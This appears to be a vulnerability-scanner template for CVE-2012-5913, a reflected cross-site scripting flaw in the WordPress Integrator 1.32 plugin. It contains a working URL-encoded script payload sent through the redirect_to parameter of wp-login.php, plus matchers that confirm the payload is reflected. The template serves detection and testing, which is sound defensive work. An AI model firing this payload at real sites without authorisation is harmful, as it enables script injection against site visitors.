id: CVE-2012-5913

info:
  name: WordPress Integrator 1.32 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in wp-integrator.php in the WordPress Integrator module 1.32 for WordPress allows remote attackers to inject arbitrary web script or HTML via the redirect_to parameter to wp-login.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Update the WordPress Integrator plugin to the latest version or apply the vendor-supplied patch to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2012-5913
    - https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-integrator-redirect_to-parameter-cross-site-scripting-1-32/
    - http://packetstormsecurity.org/files/111249/WordPress-Integrator-1.32-Cross-Site-Scripting.html
    - http://www.darksecurity.de/advisories/2012/SSCHADV2012-010.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/74475
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2012-5913
    cwe-id: CWE-79
    epss-score: 0.08693
    epss-percentile: 0.94591
    cpe: cpe:2.3:a:wordpress_integrator_project:wordpress_integrator:1.32:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: "wordpress_integrator_project"
    product: "wordpress_integrator"
  tags: cve,cve2012,wordpress,xss,wp-plugin,packetstorm,wordpress_integrator_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-integrator/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Wordpress Integrator'

  - method: GET
    path:
      - '{{BaseURL}}/wp-login.php?redirect_to=http%3A%2F%2F%3F1%3C%2FsCripT%3E%3CsCripT%3Ealert%28document.domain%29%3C%2FsCripT%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</sCripT><sCripT>alert(document.domain)</sCripT>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402200a180dddf038b904a8c20660c09919ed351b081811ffd4b3f80f9b7a93c7a3ae02201ef70de8f5e4fb206774819f07c627c04f7ddf46e32255ac2ab21aa3cb7df41e:922c64590222798bb761d5b6d8e72950